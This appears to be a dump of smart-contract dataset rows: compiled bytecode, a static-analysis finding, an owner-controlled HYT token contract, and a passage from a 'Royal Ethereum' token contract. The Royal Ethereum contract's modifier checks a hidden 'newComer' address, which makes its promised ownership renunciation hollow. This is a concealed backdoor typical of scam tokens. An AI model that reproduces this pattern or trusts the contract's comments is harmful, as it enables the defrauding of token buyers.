00401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220015f5377884fb910dfce179d1c7992e05cdbc329f244e4447a20ad0f4ede502a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,245 |
0xc10c72d632cb8b5ef37603623ee86f47c3ff9f0f
|
pragma solidity ^0.4.21;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract owned {
address public owner;
address public contractAddress;
function owned() public{
owner = msg.sender;
contractAddress = this;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract MyToken is owned {
/* the rest of the contract as usual */
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public exchangeStart;
uint256 public exchangeEnd;
uint256 public sellPrice;
uint256 public buyPrice;
bool public drop;
uint256 public airDrop;
uint256 public currentDrop;
uint256 public totalDrop;
uint256 public dropStart;
uint256 public dropEnd;
uint256 public minEtherForAccounts;
uint8 public powers;
uint256 public users;//
uint256 public minToken;//
uint256 public count;//
bool public lock;//
bool public sellToContract;//
mapping (address=> bool) public initialized;//
mapping (address => uint256) public balances;//
mapping (address => uint256) public frozens;//
mapping (address => uint256) public frozenNum;//
mapping (address => uint256) public frozenEnd;//
mapping (address => mapping (address => uint256)) public allowance;
mapping (uint256 => mapping (address => bool)) public monthPower;//
mapping (uint256 => bool) public monthOpen;//
event FrozenFunds(address target, uint256 frozen);
event FrozenMyFunds(address target, uint256 frozen, uint256 fronzeEnd);
event Transfer(address indexed from,address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function MyToken(address centralMinter) public {//
name = "禾元通";
symbol = "HYT";
decimals = 4;//
totalSupply = 1000000000 * 10 ** uint256(decimals);//
sellPrice = 0.0001 * 10 ** 18;//
buyPrice = 0.0002 * 10 ** 18;//
drop = true;//
airDrop = 88 * 10 ** uint256(decimals);//
currentDrop = 0;//
totalDrop = 2000000 * 10 ** uint256(decimals);//
minEtherForAccounts = 0.0005 * 10 ** 18;//
powers = 2;//
users = 1;//
count = 1000;//
lock = false;//
if(centralMinter != 0) owner = centralMinter;
initialized[owner] = true;
balances[owner] = totalSupply;
}
function setDrop(bool _open) public onlyOwner {//
drop = _open;
}
function setAirDrop(uint256 _dropStart, uint256 _dropEnd, uint256 _airDrop, uint256 _totalDrop) public onlyOwner {//
dropStart = _dropStart;
dropEnd = _dropEnd;
airDrop = _airDrop;
totalDrop = _totalDrop;
}
function setExchange(uint256 _exchangeStart, uint256 _exchangeEnd, uint256 _sellPrice, uint256 _buyPrice) public onlyOwner {//
exchangeStart = _exchangeStart;
exchangeEnd = _exchangeEnd;
sellPrice = _sellPrice;
buyPrice = _buyPrice;
}
function setLock(bool _lock) public onlyOwner {//
lock = _lock;
}
function setSellToContract(bool _sellToContract) public onlyOwner {//
sellToContract = _sellToContract;
}
function setMinEther(uint256 _minimumEtherInFinney) public onlyOwner {//
minEtherForAccounts = _minimumEtherInFinney;
}
function setMonthClose(uint256 _month, bool _value) public onlyOwner {//
monthOpen[_month] = _value;
}
function setMonthOpen(uint256 _month, uint256 _users, uint8 _powers, uint256 _minToken, uint256 _count) public onlyOwner {//
monthOpen[_month] = true;
users = _users;
minToken = _minToken;
count = _count;
if(_powers > 0){
powers = _powers;
}
}
function lockAccount(address _address, uint256 _lockEnd) public onlyOwner {//
frozens[_address] = _lockEnd;
emit FrozenFunds(_address, _lockEnd);
}
function _freezeFunds(address _address, uint256 _freeze, uint256 _freezeEnd) internal {//
if(drop){
initialize(_address);
}
frozenNum[_address] = _freeze;
frozenEnd[_address] = _freezeEnd;
emit FrozenMyFunds(_address, _freeze, _freezeEnd);
}
function freezeUserFunds(address _address, uint256 _freeze, uint256 _freezeEnd) public onlyOwner {//
_freezeFunds(_address, _freeze, _freezeEnd);
}
function freezeMyFunds(uint256 _freeze, uint256 _freezeEnd) public {//
_freezeFunds(msg.sender, _freeze, _freezeEnd);
}
function initialize(address _address) internal returns (uint256) {//
require (drop);
require (now > frozens[_address]);
if(dropStart != dropEnd && dropEnd > 0){
require (now >= dropStart && now <=dropEnd);
}else if(dropStart != dropEnd && dropEnd == 0){
require (now >= dropStart);
}
require (balances[owner] > airDrop);
if(currentDrop + airDrop <= totalDrop && !initialized[_address]){
initialized[_address] = true;
balances[owner] -= airDrop;
balances[_address] += airDrop;
currentDrop += airDrop;
emit Transfer(owner, _address, airDrop);
}
return balances[_address];
}
function getMonth(uint256 _month) public returns (uint256) {//
require (count > 0);
require (now > frozens[msg.sender]);
require (balances[msg.sender] >= minToken);
require (monthOpen[_month]);
require (!monthPower[_month][msg.sender]);
if(drop){
initialize(msg.sender);
}
uint256 _mpower = totalSupply * powers / 100 / users;
require (balances[owner] >= _mpower);
monthPower[_month][msg.sender] = true;
_transfer(owner, msg.sender, _mpower);
count -= 1;
return _mpower;
}
function balanceOf(address _address) public view returns(uint256){//
return getBalances(_address);
}
function getBalances(address _address) view internal returns (uint256) {//
if (drop && now > frozens[_address] && currentDrop + airDrop <= totalDrop && !initialized[_address]) {
return balances[_address] + airDrop;
}else {
return balances[_address];
}
}
function takeEther(uint256 _balance) public payable onlyOwner {//
owner.transfer(_balance);
}
function () payable public {}//
function giveEther() public payable {//
}
function getEther(address _address) public view returns(uint256){//
return _address.balance;
}
function getTime() public view returns(uint256){//
return now;
}
function mintToken(address _address, uint256 _mintedAmount) public onlyOwner {//
require(balances[_address] + _mintedAmount > balances[_address]);
require(totalSupply + _mintedAmount > totalSupply);
balances[_address] += _mintedAmount;
totalSupply += _mintedAmount;
emit Transfer(0, this, _mintedAmount);
emit Transfer(this, _address, _mintedAmount);
}
/* Internal transfer, can only be called by this contract */
function _transfer(address _from, address _to, uint256 _value) internal {//
if(_from != owner){
require (!lock);
}
require (_to != 0x0);
require (_from != _to);
require (now > frozens[_from]);
require (now > frozens[_to]);
if(drop){
initialize(_from);
initialize(_to);
}
if(now <= frozenEnd[_from]){
require (balances[_from] - frozenNum[_from] >= _value);
}else{
require (balances[_from] >= _value);
}
require (balances[_to] + _value > balances[_to]);
if(sellToContract && msg.sender.balance < minEtherForAccounts){
sell((minEtherForAccounts - msg.sender.balance) / sellPrice);
}
balances[_from] -= _value;
balances[_to] += _value;
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {//
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){//
require (now > frozens[msg.sender]);
require(_value <= allowance[_from][msg.sender]);
_transfer(_from, _to, _value);
allowance[_from][msg.sender] -= _value;
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success){//
require (!lock);
if(drop){
initialize(msg.sender);
initialize(_spender);
}
require(msg.sender != _spender);
require (now > frozens[msg.sender]);
if(now <= frozenEnd[msg.sender]){
require (balances[msg.sender] - frozenNum[msg.sender] >= _value);
}else{
require (balances[msg.sender] >= _value);
}
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {//
require (!lock);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {//
require (!lock);
require(_value > 0);
require (now > frozens[msg.sender]);
if(now <= frozenEnd[msg.sender]){
require (balances[msg.sender] - frozenNum[msg.sender] >= _value);
}else{
require (balances[msg.sender] >= _value);
}
balances[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {//
require (!lock);
require(_value > 0);
require (now > frozens[msg.sender]);
require (now > frozens[_from]);
if(now <= frozenEnd[_from]){
require (balances[_from] - frozenNum[_from] >= _value);
}else{
require (balances[_from] >= _value);
}
require(_value <= allowance[_from][msg.sender]);
balances[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
function buy() public payable{//
require (!lock);
require (msg.value>0);
if(drop){
initialize(msg.sender);
}
if(exchangeStart != exchangeEnd && exchangeEnd > 0){
require (now >= exchangeStart && now <=exchangeEnd);
}else if(exchangeStart != exchangeEnd && exchangeEnd == 0){
require (now >= exchangeStart);
}
uint256 _amount = msg.value / buyPrice;
_transfer(owner, msg.sender, _amount);
}
function sell(uint256 _amount) public {//
require (!lock);
require (sellToContract);
require (now > frozens[msg.sender]);
require(_amount > 0);
if(exchangeStart != exchangeEnd && exchangeEnd > 0){
require (now >= exchangeStart && now <=exchangeEnd);
}else if(exchangeStart != exchangeEnd && exchangeEnd == 0){
require (now >= exchangeStart);
}
if(now <= frozenEnd[msg.sender]){
require (balances[msg.sender] - frozenNum[msg.sender] >= _amount);
}else{
require (balances[msg.sender] >= _amount);
}
require(contractAddress.balance >= _amount * sellPrice);
_transfer(msg.sender, owner, _amount);
msg.sender.transfer(_amount * sellPrice);
}
}
|
0x6060604052600436106102b35763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306661abd81146102b557806306fdde03146102da578063081e1b1214610364578063095ea7b31461036c5780631245c653146103a257806314870a57146103b557806318160ddd146103d057806321bb86ab146103e357806323b872dd1461040257806327e235e31461042a578063313ce5671461044957806334156ac31461047257806342966c681461049457806346a6c499146104aa5780634b750334146104c357806352d3642d146104d6578063557ed1ba146104e957806358caa569146104fc578063619d51941461051b5780636cf3d0991461053357806370a082311461054657806372a20c7814610565578063749383c214610578578063763245971461059d57806379c65068146105b057806379c6c11a146105d257806379cc6790146105dd5780637aef1d4d146105ff5780638620410b146106155780638da5cb5b1461062857806395d89b41146106575780639a4b87f11461066a578063a324ad2414610682578063a3fe70cb14610698578063a6f2ae3a146106ab578063a859a092146106b3578063a9059cbb146106c6578063bf620a45146106e8578063c8dbb6861461070a578063ca5d088014610729578063cae9ca511461073c578063cbca47db146107a1578063cc750395146107c0578063d3119dc0146107e5578063dd62ed3e146107f8578063dda633591461081d578063df36318a14610835578063e407869b14610848578063e4849b321461085e578063e62ab95c14610874578063ea520b1814610893578063ebd6bbfb146108a6578063f2020275146108c5578063f2fde38b146108d8578063f688bb2b146108f7578063f6b4dfb414610916578063f751cd8f14610929578063f83d08ba1461093c575b005b34156102c057600080fd5b6102c861094f565b60405190815260200160405180910390f35b34156102e557600080fd5b6102ed610955565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610329578082015183820152602001610311565b50505050905090810190601f1680156103565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102b36109f3565b341561037757600080fd5b61038e600160a060020a03600435166024356109f5565b604051901515815260200160405180910390f35b34156103ad57600080fd5b6102c8610b1b565b34156103c057600080fd5b6102b36004356024351515610b21565b34156103db57600080fd5b6102c8610b5c565b34156103ee57600080fd5b6102b3600435602435604435606435610b62565b341561040d57600080fd5b61038e600160a060020a0360043581169060243516604435610b91565b341561043557600080fd5b6102c8600160a060020a0360043516610c2a565b341561045457600080fd5b61045c610c3c565b60405160ff909116815260200160405180910390f35b341561047d57600080fd5b61038e600435600160a060020a0360243516610c45565b341561049f57600080fd5b61038e600435610c65565b34156104b557600080fd5b6102b3600435602435610d8c565b34156104ce57600080fd5b6102c8610d9b565b34156104e157600080fd5b61038e610da1565b34156104f457600080fd5b6102c8610daf565b341561050757600080fd5b6102c8600160a060020a0360043516610db3565b341561052657600080fd5b6102b36004351515610dc5565b341561053e57600080fd5b6102c8610df3565b341561055157600080fd5b6102c8600160a060020a0360043516610df9565b341561057057600080fd5b61045c610e0a565b341561058357600080fd5b6102b3600160a060020a0360043516602435604435610e13565b34156105a857600080fd5b6102c8610e3e565b34156105bb57600080fd5b6102b3600160a060020a0360043516602435610e44565b6102b3600435610f1c565b34156105e857600080fd5b61038e600160a060020a0360043516602435610f6d565b341561060a57600080fd5b6102b3600435611108565b341561062057600080fd5b6102c8611128565b341561063357600080fd5b61063b61112e565b604051600160a060020a03909116815260200160405180910390f35b341561066257600080fd5b6102ed61113d565b341561067557600080fd5b6102b360043515156111a8565b341561068d57600080fd5b6102c86004356111d6565b34156106a357600080fd5b6102c861132d565b6102b3611333565b34156106be57600080fd5b6102c86113f9565b34156106d157600080fd5b6102b3600160a060020a03600435166024356113ff565b34156106f357600080fd5b6102b3600160a060020a036004351660243561140a565b341561071557600080fd5b6102c8600160a060020a036004351661148b565b341561073457600080fd5b6102c861149d565b341561074757600080fd5b61038e60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506114a395505050505050565b34156107ac57600080fd5b61038e600160a060020a03600435166115e5565b34156107cb57600080fd5b6102b360043560243560ff604435166064356084356115fa565b34156107f057600080fd5b6102c861165e565b341561080357600080fd5b6102c8600160a060020a0360043581169060243516611664565b341561082857600080fd5b6102b36004351515611681565b341561084057600080fd5b6102c86116b6565b341561085357600080fd5b61038e6004356116bc565b341561086957600080fd5b6102b36004356116d1565b341561087f57600080fd5b6102c8600160a060020a036004351661187b565b341561089e57600080fd5b6102c861188d565b34156108b157600080fd5b6102c8600160a060020a0360043516611893565b34156108d057600080fd5b6102c86118a0565b34156108e357600080fd5b6102b3600160a060020a03600435166118a6565b341561090257600080fd5b6102b36004356024356044356064356118f0565b341561092157600080fd5b61063b61191f565b341561093457600080fd5b61038e61192e565b341561094757600080fd5b61038e611937565b60145481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109eb5780601f106109c0576101008083540402835291602001916109eb565b820191906000526020600020905b8154815290600101906020018083116109ce57829003601f168201915b505050505081565b565b60155460009060ff1615610a0857600080fd5b600a5460ff1615610a2857610a1c33611940565b50610a2683611940565b505b82600160a060020a031633600160a060020a031614151515610a4957600080fd5b600160a060020a0333166000908152601860205260409020544211610a6d57600080fd5b600160a060020a0333166000908152601a60205260409020544211610ac457600160a060020a0333166000908152601960209081526040808320546017909252909120540382901015610abf57600080fd5b610aea565b600160a060020a03331660009081526017602052604090205482901015610aea57600080fd5b50600160a060020a033381166000908152601b60209081526040808320938616835292905220819055600192915050565b600c5481565b60005433600160a060020a03908116911614610b3c57600080fd5b6000918252601d6020526040909120805460ff1916911515919091179055565b60055481565b60005433600160a060020a03908116911614610b7d57600080fd5b600693909355600791909155600855600955565b600160a060020a0333166000908152601860205260408120544211610bb557600080fd5b600160a060020a038085166000908152601b602090815260408083203390941683529290522054821115610be857600080fd5b610bf3848484611adc565b50600160a060020a038084166000908152601b60209081526040808320339094168352929052208054829003905560019392505050565b60176020526000908152604090205481565b60045460ff1681565b601c60209081526000928352604080842090915290825290205460ff1681565b60155460009060ff1615610c7857600080fd5b60008211610c8557600080fd5b600160a060020a0333166000908152601860205260409020544211610ca957600080fd5b600160a060020a0333166000908152601a60205260409020544211610d0057600160a060020a0333166000908152601960209081526040808320546017909252909120540382901015610cfb57600080fd5b610d26565b600160a060020a03331660009081526017602052604090205482901015610d2657600080fd5b600160a060020a03331660008181526017602052604090819020805485900390556005805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a25060015b919050565b610d97338383611cdd565b5050565b60085481565b601554610100900460ff1681565b4290565b601a6020526000908152604090205481565b60005433600160a060020a03908116911614610de057600080fd5b6015805460ff1916911515919091179055565b600f5481565b6000610e0482611d7d565b92915050565b60115460ff1681565b60005433600160a060020a03908116911614610e2e57600080fd5b610e39838383611cdd565b505050565b600e5481565b60005433600160a060020a03908116911614610e5f57600080fd5b600160a060020a03821660009081526017602052604090205481810111610e8557600080fd5b60055481810111610e9557600080fd5b600160a060020a0380831660009081526017602052604080822080548501905560058054850190553090921691600080516020611e2a8339815191529084905190815260200160405180910390a381600160a060020a031630600160a060020a0316600080516020611e2a8339815191528360405190815260200160405180910390a35050565b60005433600160a060020a03908116911614610f3757600080fd5b600054600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610f6a57600080fd5b50565b60155460009060ff1615610f8057600080fd5b60008211610f8d57600080fd5b600160a060020a0333166000908152601860205260409020544211610fb157600080fd5b600160a060020a0383166000908152601860205260409020544211610fd557600080fd5b600160a060020a0383166000908152601a6020526040902054421161102c57600160a060020a038316600090815260196020908152604080832054601790925290912054038290101561102757600080fd5b611052565b600160a060020a0383166000908152601760205260409020548290101561105257600080fd5b600160a060020a038084166000908152601b60209081526040808320339094168352929052205482111561108557600080fd5b600160a060020a03808416600081815260176020908152604080832080548890039055601b825280832033909516835293905282902080548590039055600580548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60005433600160a060020a0390811691161461112357600080fd5b601055565b60095481565b600054600160a060020a031681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109eb5780601f106109c0576101008083540402835291602001916109eb565b60005433600160a060020a039081169116146111c357600080fd5b600a805460ff1916911515919091179055565b60008060006014541115156111ea57600080fd5b600160a060020a033316600090815260186020526040902054421161120e57600080fd5b601354600160a060020a033316600090815260176020526040902054101561123557600080fd5b6000838152601d602052604090205460ff16151561125257600080fd5b6000838152601c60209081526040808320600160a060020a033316845290915290205460ff161561128257600080fd5b600a5460ff16156112985761129633611940565b505b60125460115460055460649160ff1602048115156112b257fe5b60008054600160a060020a03168152601760205260409020549190049150819010156112dd57600080fd5b6000838152601c60209081526040808320600160a060020a0333818116865291909352908320805460ff19166001179055915461131d9291169083611adc565b6014805460001901905592915050565b60075481565b60155460009060ff161561134657600080fd5b6000341161135357600080fd5b600a5460ff16156113695761136733611940565b505b6007546006541415801561137f57506000600754115b156113a857600654421015801561139857506007544211155b15156113a357600080fd5b6113d0565b600754600654141580156113bc5750600754155b156113d0576006544210156113d057600080fd5b600954348115156113dd57fe5b6000549190049150610f6a90600160a060020a03163383611adc565b60135481565b610d97338383611adc565b60005433600160a060020a0390811691161461142557600080fd5b600160a060020a038216600090815260186020526040908190208290557fb4d1971fab77c7179a15c1d5959be5ccdf22f58dc394dfab76d4f27098d981df908390839051600160a060020a03909216825260208201526040908101905180910390a15050565b60186020526000908152604090205481565b600b5481565b601554600090819060ff16156114b857600080fd5b50836114c481856109f5565b156115dd5780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561157a578082015183820152602001611562565b50505050905090810190601f1680156115a75780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156115c857600080fd5b5af115156115d557600080fd5b505050600191505b509392505050565b60166020526000908152604090205460ff1681565b60005433600160a060020a0390811691161461161557600080fd5b6000858152601d60205260408120805460ff1916600117905560128590556013839055601482905560ff84161115611657576011805460ff191660ff85161790555b5050505050565b60105481565b601b60209081526000928352604080842090915290825290205481565b60005433600160a060020a0390811691161461169c57600080fd5b601580549115156101000261ff0019909216919091179055565b60065481565b601d6020526000908152604090205460ff1681565b60155460ff16156116e157600080fd5b601554610100900460ff1615156116f757600080fd5b600160a060020a033316600090815260186020526040902054421161171b57600080fd5b6000811161172857600080fd5b6007546006541415801561173e57506000600754115b1561176757600654421015801561175757506007544211155b151561176257600080fd5b61178f565b6007546006541415801561177b5750600754155b1561178f5760065442101561178f57600080fd5b600160a060020a0333166000908152601a602052604090205442116117e657600160a060020a03331660009081526019602090815260408083205460179092529091205403819010156117e157600080fd5b61180c565b600160a060020a0333166000908152601760205260409020548190101561180c57600080fd5b600854600154908202600160a060020a0390911631101561182c57600080fd5b600054611844903390600160a060020a031683611adc565b33600160a060020a03166108fc60085483029081150290604051600060405180830381858888f193505050501515610f6a57600080fd5b60196020526000908152604090205481565b600d5481565b600160a060020a03163190565b60125481565b60005433600160a060020a039081169116146118c157600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461190b57600080fd5b600e93909355600f91909155600b55600d55565b600154600160a060020a031681565b600a5460ff1681565b60155460ff1681565b600a5460009060ff16151561195457600080fd5b600160a060020a038216600090815260186020526040902054421161197857600080fd5b600f54600e541415801561198e57506000600f54115b156119b757600e5442101580156119a75750600f544211155b15156119b257600080fd5b6119df565b600f54600e54141580156119cb5750600f54155b156119df57600e544210156119df57600080fd5b600b5460008054600160a060020a031681526017602052604090205411611a0557600080fd5b600d54600b54600c540111158015611a365750600160a060020a03821660009081526016602052604090205460ff16155b15611ac057600160a060020a038083166000818152601660209081526040808320805460ff19166001179055600b805484548716855260179093528184208054939093039092558154848452818420805490910190559054600c805482019055915492939290921691600080516020611e2a83398151915291905190815260200160405180910390a35b50600160a060020a031660009081526017602052604090205490565b600054600160a060020a03848116911614611b015760155460ff1615611b0157600080fd5b600160a060020a0382161515611b1657600080fd5b600160a060020a038381169083161415611b2f57600080fd5b600160a060020a0383166000908152601860205260409020544211611b5357600080fd5b600160a060020a0382166000908152601860205260409020544211611b7757600080fd5b600a5460ff1615611b9757611b8b83611940565b50611b9582611940565b505b600160a060020a0383166000908152601a60205260409020544211611bee57600160a060020a0383166000908152601960209081526040808320546017909252909120540381901015611be957600080fd5b611c14565b600160a060020a03831660009081526017602052604090205481901015611c1457600080fd5b600160a060020a03821660009081526017602052604090205481810111611c3a57600080fd5b601554610100900460ff168015611c5c575060105433600160a060020a031631105b15611c8557611c8560085433600160a060020a03163160105403811515611c7f57fe5b046116d1565b600160a060020a03808416600081815260176020526040808220805486900390559285168082529083902080548501905591600080516020611e2a8339815191529084905190815260200160405180910390a3505050565b600a5460ff1615611cf357611cf183611940565b505b600160a060020a0383166000908152601960209081526040808320859055601a909152908190208290557f80ad2a3311a087886b0333ee1276273de88fa2c6088a6afcf8b8d018e7b97b1090849084908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a1505050565b600a5460009060ff168015611da95750600160a060020a03821660009081526018602052604090205442115b8015611dbd5750600d54600b54600c540111155b8015611de25750600160a060020a03821660009081526016602052604090205460ff16155b15611e0a5750600b54600160a060020a03821660009081526017602052604090205401610d87565b50600160a060020a038116600090815260176020526040902054610d875600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820aae053b64c04a2cd61b054d70818d1b3077231e29955c43edd293b579bd6b0b00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,246 |
0x459aa25735b88f8eb2931bef35d4cbaab4230f73
|
/**
*Submitted for verification at Etherscan.io on 2021-08-20
*/
/*
👑 ROYAL ETHEREUM TOKEN (RoLe) 👑
👑ROYALTY IS OUR IDENTITY 👑
Tokenomics
📑 10% tax on each transaction:
👑 5% Ethereum Rewards
💻 2% to Marketing wallet
♻️ 2% to Buyback wallet
💳 1% Royal Reward Wallet for Guests
🔔 On Launch 🔔
✅ Fair launch No Presale
✅ 15% initial burn
✅ 1 Quadrillion token supply ✅ Bots will be Blacklisted
✅ Liquidity will be Locked
✅ Ownership will be renounced
🚀 A Royal retreat for our Royal Community ! 🚀
Stay Humble, Spread Love ❤️ 👑
👑 TG : https://t.me/royalethereum
🦚 Twitter : https://twitter.com/royalethereum6?s=21
🌐 Website: http://www.royalethereum.live/
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract RoyalEthereumToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**12 * 10**18;
string private _name = 'Royal Ethereum ';
string private _symbol = 'RoLe👑 ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
